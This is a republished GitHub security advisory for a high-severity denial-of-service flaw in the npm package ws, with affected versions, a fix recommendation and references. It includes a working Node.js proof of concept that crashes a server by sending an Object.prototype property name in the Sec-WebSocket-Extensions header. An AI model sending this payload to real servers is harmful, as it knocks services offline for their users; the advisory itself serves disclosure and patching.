# GHSA-5v72-xg48-5rpm: Denial of Service in ws

- Severity: High 7.5 (CVSS:3.1, scored by GitHub) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2019-06-04T19:37:52.000Z
- Modified: 2026-07-17T18:45:52.881Z
- Weaknesses: CWE-400

## Description

Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.

## Proof of concept

```
const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});
```


## Recommendation

Update to version 3.3.1 or later.

(As written by GitHub Advisory Database.)

## Affected

- ws (npm): from 0.6.0 before 1.1.5; from 2.0.0 before 3.3.1

## References

- <https://github.com/websockets/ws/commit/a810bfa44f08c84ff3f43cc71327e9bb5fb273ef> (web)
- <https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a> (web)
- <https://github.com/websockets/ws/commit/f8fdcd40ac8be7318a6ee41f5ceb7e77c995b407> (web)
- <https://github.com/websockets/ws> (package)
- <https://snyk.io/vuln/npm:ws:20171108> (web)

## Sources

- GitHub Advisory Database: [GHSA-5v72-xg48-5rpm](https://github.com/advisories/GHSA-5v72-xg48-5rpm), CC-BY-4.0, modified 2026-07-17

---

Page: https://cve.day/GHSA-5v72-xg48-5rpm · Whole record: https://cve.day/GHSA-5v72-xg48-5rpm.json · Rebuilt by cve.day 2026-11-25T22:56:44.240Z
